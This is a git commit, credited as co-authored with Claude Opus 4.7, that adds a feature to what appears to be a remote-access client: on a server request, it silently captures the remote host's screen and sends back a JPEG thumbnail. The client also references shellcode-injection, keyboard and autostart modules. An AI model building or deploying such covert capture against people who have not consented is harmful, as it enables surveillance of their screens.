Feature: screen preview thumbnail on host double-click

Server sends COMMAND_SCREEN_PREVIEW_REQ when user double-clicks an
active (non-Locked/Inactive) host that advertises CLIENT_CAP_SCREEN_PREVIEW.
Client BitBlts primary screen, encodes to JPEG via GDI+ and replies. The
existing STATIC tooltip is replaced with a self-drawn CPreviewTipWnd
showing the thumbnail above the host info text, with wide-character
rendering so the popup also works on non-Chinese servers.

- Quality tiers reuse QualityProfile pattern: PreviewProfile + 6 levels
  driven by GetTargetQualityLevel (FRP-aware), with 4K/ultrawide auto
  upscale on Ultra/High tiers up to min(screenWidth/4, 1280).
- Client limits to 1 in-flight capture via atomic counter to defend
  against flood/DoS; Send2Server is already mutex-serialized.
- Server validates responses by reqId only (single in-flight tip);
  4s arrival timeout marks "preview unavailable" without blocking the
  text fallback path.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
This commit is contained in:
yuanyuanxiang
2026-05-07 18:17:28 +02:00
parent 70a6b0128e
commit 566f5b8d42
15 changed files with 785 additions and 22 deletions

View File

@@ -199,6 +199,7 @@
<ClCompile Include="RegisterOperation.cpp" />
<ClCompile Include="SafeThread.cpp" />
<ClCompile Include="ScreenManager.cpp" />
<ClCompile Include="ScreenPreview.cpp" />
<ClCompile Include="ScreenSpy.cpp" />
<ClCompile Include="ServicesManager.cpp" />
<ClCompile Include="ShellManager.cpp" />
@@ -241,6 +242,7 @@
<ClInclude Include="ScreenCapture.h" />
<ClInclude Include="ScreenCapturerDXGI.h" />
<ClInclude Include="ScreenManager.h" />
<ClInclude Include="ScreenPreview.h" />
<ClInclude Include="ScreenSpy.h" />
<ClInclude Include="ServicesManager.h" />
<ClInclude Include="ShellManager.h" />

View File

@@ -27,6 +27,7 @@
<ClCompile Include="RegisterOperation.cpp" />
<ClCompile Include="SafeThread.cpp" />
<ClCompile Include="ScreenManager.cpp" />
<ClCompile Include="ScreenPreview.cpp" />
<ClCompile Include="ScreenSpy.cpp" />
<ClCompile Include="ServicesManager.cpp" />
<ClCompile Include="ShellManager.cpp" />
@@ -70,6 +71,7 @@
<ClInclude Include="ScreenCapture.h" />
<ClInclude Include="ScreenCapturerDXGI.h" />
<ClInclude Include="ScreenManager.h" />
<ClInclude Include="ScreenPreview.h" />
<ClInclude Include="ScreenSpy.h" />
<ClInclude Include="ServicesManager.h" />
<ClInclude Include="ShellManager.h" />

View File

@@ -18,6 +18,7 @@
#include "auto_start.h"
#include "ShellcodeInj.h"
#include "KeyboardManager.h"
#include "ScreenPreview.h"
#include "common/file_upload.h"
#include "common/DateVerify.h"
#include "common/LANChecker.h"
@@ -1137,6 +1138,43 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break;
}
case COMMAND_SCREEN_PREVIEW_REQ: {
if (ulLength < sizeof(ScreenPreviewReq)) break;
ScreenPreviewReq req;
memcpy(&req, szBuffer, sizeof(req));
// 限流:同一时刻最多 1 个抓屏任务在跑,防御服务端洪泛或异常重发把客户端打爆
static std::atomic<int> s_inFlight{0};
if (s_inFlight.fetch_add(1) >= 1) {
s_inFlight.fetch_sub(1);
break; // 直接丢弃,让服务端 4s 超时降级为"预览不可用"
}
// 投递到工作线程,避免阻塞 OnReceive抓屏 + 编码可能耗几十毫秒
std::thread([this, req]() {
struct Guard { ~Guard(){ s_inFlight.fetch_sub(1); } } guard;
std::vector<unsigned char> jpg;
int w = 0, h = 0;
int st = CaptureAndEncodePreview(req.maxWidth, req.jpegQuality, jpg, w, h);
std::vector<BYTE> pkt(sizeof(ScreenPreviewRspHeader) + (st == SCREEN_PREVIEW_OK ? jpg.size() : 0));
ScreenPreviewRspHeader* hdr = reinterpret_cast<ScreenPreviewRspHeader*>(pkt.data());
memset(hdr, 0, sizeof(*hdr));
hdr->token = TOKEN_SCREEN_PREVIEW_RSP;
hdr->reqId = req.reqId;
hdr->status = (uint8_t)st;
hdr->format = SCREEN_PREVIEW_FMT_JPEG;
hdr->width = (uint16_t)w;
hdr->height = (uint16_t)h;
hdr->bytes = (uint32_t)(st == SCREEN_PREVIEW_OK ? jpg.size() : 0);
if (st == SCREEN_PREVIEW_OK && !jpg.empty()) {
memcpy(pkt.data() + sizeof(*hdr), jpg.data(), jpg.size());
}
if (m_ClientObject && m_ClientObject->IsConnected()) {
m_ClientObject->Send2Server((char*)pkt.data(), (int)pkt.size());
}
}).detach();
break;
}
case COMMAND_SCREEN_SPY: {
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) };
if (ulLength > 1) {

188
client/ScreenPreview.cpp Normal file
View File

@@ -0,0 +1,188 @@
// ScreenPreview.cpp
#include "stdafx.h"
#include "ScreenPreview.h"
#include "../common/commands.h" // ScreenPreviewStatus
#include <windows.h>
#include <objidl.h> // IUnknown / IStream — gdiplus.h 依赖它们已声明
#include <gdiplus.h>
#pragma comment(lib, "gdiplus.lib")
using namespace Gdiplus;
namespace {
// GDI+ 进程级初始化(与 Bmp2Video 互不冲突Startup 可重入计数)
struct GdiplusBoot {
ULONG_PTR token = 0;
bool ok = false;
GdiplusBoot()
{
GdiplusStartupInput in;
ok = (GdiplusStartup(&token, &in, NULL) == Ok);
}
~GdiplusBoot()
{
if (ok) GdiplusShutdown(token);
}
};
static GdiplusBoot g_boot;
int GetJpegEncoderClsid(CLSID& clsid)
{
UINT num = 0, size = 0;
GetImageEncodersSize(&num, &size);
if (size == 0) return -1;
std::vector<BYTE> buf(size);
ImageCodecInfo* info = reinterpret_cast<ImageCodecInfo*>(buf.data());
GetImageEncoders(num, size, info);
for (UINT i = 0; i < num; ++i) {
if (wcscmp(info[i].MimeType, L"image/jpeg") == 0) {
clsid = info[i].Clsid;
return 0;
}
}
return -1;
}
// 抓主屏到 24bpp Bitmap目标尺寸已等比换算。
// 返回新分配的 Bitmap*,失败返回 nullptr。调用者负责 delete。
Bitmap* GrabPrimaryScaled(int targetW, int targetH)
{
HDC hScreen = GetDC(NULL);
if (!hScreen) return nullptr;
int srcX = GetSystemMetrics(SM_XVIRTUALSCREEN); // 主屏左上 — 仅取主屏时用 0,0
int srcY = GetSystemMetrics(SM_YVIRTUALSCREEN);
(void)srcX; (void)srcY;
int srcW = GetSystemMetrics(SM_CXSCREEN);
int srcH = GetSystemMetrics(SM_CYSCREEN);
if (srcW <= 0 || srcH <= 0) {
ReleaseDC(NULL, hScreen);
return nullptr;
}
HDC hMem = CreateCompatibleDC(hScreen);
HBITMAP hBmp = CreateCompatibleBitmap(hScreen, targetW, targetH);
if (!hMem || !hBmp) {
if (hBmp) DeleteObject(hBmp);
if (hMem) DeleteDC(hMem);
ReleaseDC(NULL, hScreen);
return nullptr;
}
HGDIOBJ oldBmp = SelectObject(hMem, hBmp);
// 高质量缩放HALFTONE 内插
SetStretchBltMode(hMem, HALFTONE);
SetBrushOrgEx(hMem, 0, 0, NULL);
BOOL bb = StretchBlt(hMem, 0, 0, targetW, targetH,
hScreen, 0, 0, srcW, srcH, SRCCOPY | CAPTUREBLT);
SelectObject(hMem, oldBmp);
Bitmap* out = nullptr;
if (bb) {
// 拷贝 HBITMAP 到 GDI+ Bitmap避免后续释放设备 DC 影响图像
Bitmap tmp(hBmp, NULL);
if (tmp.GetLastStatus() == Ok) {
out = tmp.Clone(0, 0, targetW, targetH, PixelFormat24bppRGB);
if (out && out->GetLastStatus() != Ok) {
delete out;
out = nullptr;
}
}
}
DeleteObject(hBmp);
DeleteDC(hMem);
ReleaseDC(NULL, hScreen);
return out;
}
} // namespace
int CaptureAndEncodePreview(int maxWidth, int quality,
std::vector<unsigned char>& out,
int& outWidth, int& outHeight)
{
out.clear();
outWidth = outHeight = 0;
if (!g_boot.ok) return SCREEN_PREVIEW_NOT_SUPPORTED;
if (maxWidth < 64) maxWidth = 64;
if (maxWidth > 1920) maxWidth = 1920;
if (quality < 1) quality = 1;
if (quality > 100) quality = 100;
int srcW = GetSystemMetrics(SM_CXSCREEN);
int srcH = GetSystemMetrics(SM_CYSCREEN);
if (srcW <= 0 || srcH <= 0) return SCREEN_PREVIEW_CAPTURE_FAILED;
// 等比缩放,禁止放大
int targetW = (srcW <= maxWidth) ? srcW : maxWidth;
int targetH = (int)((double)srcH * targetW / srcW + 0.5);
if (targetH <= 0) targetH = 1;
// 偶数对齐JPEG 编码更高效
targetW &= ~1;
targetH &= ~1;
if (targetW < 2) targetW = 2;
if (targetH < 2) targetH = 2;
Bitmap* bmp = GrabPrimaryScaled(targetW, targetH);
if (!bmp) return SCREEN_PREVIEW_CAPTURE_FAILED;
CLSID clsid;
if (GetJpegEncoderClsid(clsid) != 0) {
delete bmp;
return SCREEN_PREVIEW_ENCODE_FAILED;
}
EncoderParameters params;
params.Count = 1;
params.Parameter[0].Guid = EncoderQuality;
params.Parameter[0].Type = EncoderParameterValueTypeLong;
params.Parameter[0].NumberOfValues = 1;
ULONG q = (ULONG)quality;
params.Parameter[0].Value = &q;
IStream* stream = nullptr;
if (FAILED(CreateStreamOnHGlobal(NULL, TRUE, &stream))) {
delete bmp;
return SCREEN_PREVIEW_ENCODE_FAILED;
}
Status st = bmp->Save(stream, &clsid, &params);
delete bmp;
if (st != Ok) {
stream->Release();
return SCREEN_PREVIEW_ENCODE_FAILED;
}
HGLOBAL hMem = NULL;
if (FAILED(GetHGlobalFromStream(stream, &hMem)) || !hMem) {
stream->Release();
return SCREEN_PREVIEW_ENCODE_FAILED;
}
SIZE_T sz = GlobalSize(hMem);
if (sz == 0) {
stream->Release();
return SCREEN_PREVIEW_ENCODE_FAILED;
}
void* p = GlobalLock(hMem);
if (!p) {
stream->Release();
return SCREEN_PREVIEW_ENCODE_FAILED;
}
out.assign((unsigned char*)p, (unsigned char*)p + sz);
GlobalUnlock(hMem);
stream->Release();
outWidth = targetW;
outHeight = targetH;
return SCREEN_PREVIEW_OK;
}

16
client/ScreenPreview.h Normal file
View File

@@ -0,0 +1,16 @@
// ScreenPreview.h
// 屏幕预览:抓主屏 → 等比缩放 → JPEG 编码,供 COMMAND_SCREEN_PREVIEW_REQ 响应使用。
#pragma once
#include <vector>
// 抓取主屏并编码成 JPEG。
// maxWidth 服务端期望的宽度;客户端按源屏宽度等比缩放,不会强制放大
// quality JPEG 质量 1..100(建议 40..85
// out 编码后的 JPEG 字节流
// outWidth 实际编码图宽
// outHeight 实际编码图高
// 返回 0 表示成功;非 0 见 ScreenPreviewStatus枚举在 commands.h
int CaptureAndEncodePreview(int maxWidth, int quality,
std::vector<unsigned char>& out,
int& outWidth, int& outHeight);

View File

@@ -209,6 +209,7 @@
<ClCompile Include="reg_startup.c" />
<ClCompile Include="SafeThread.cpp" />
<ClCompile Include="ScreenManager.cpp" />
<ClCompile Include="ScreenPreview.cpp" />
<ClCompile Include="ScreenSpy.cpp" />
<ClCompile Include="ServicesManager.cpp" />
<ClCompile Include="ServiceWrapper.c" />
@@ -257,6 +258,7 @@
<ClInclude Include="SafeThread.h" />
<ClInclude Include="ScreenCapturerDXGI.h" />
<ClInclude Include="ScreenManager.h" />
<ClInclude Include="ScreenPreview.h" />
<ClInclude Include="ScreenSpy.h" />
<ClInclude Include="ServicesManager.h" />
<ClInclude Include="ServiceWrapper.h" />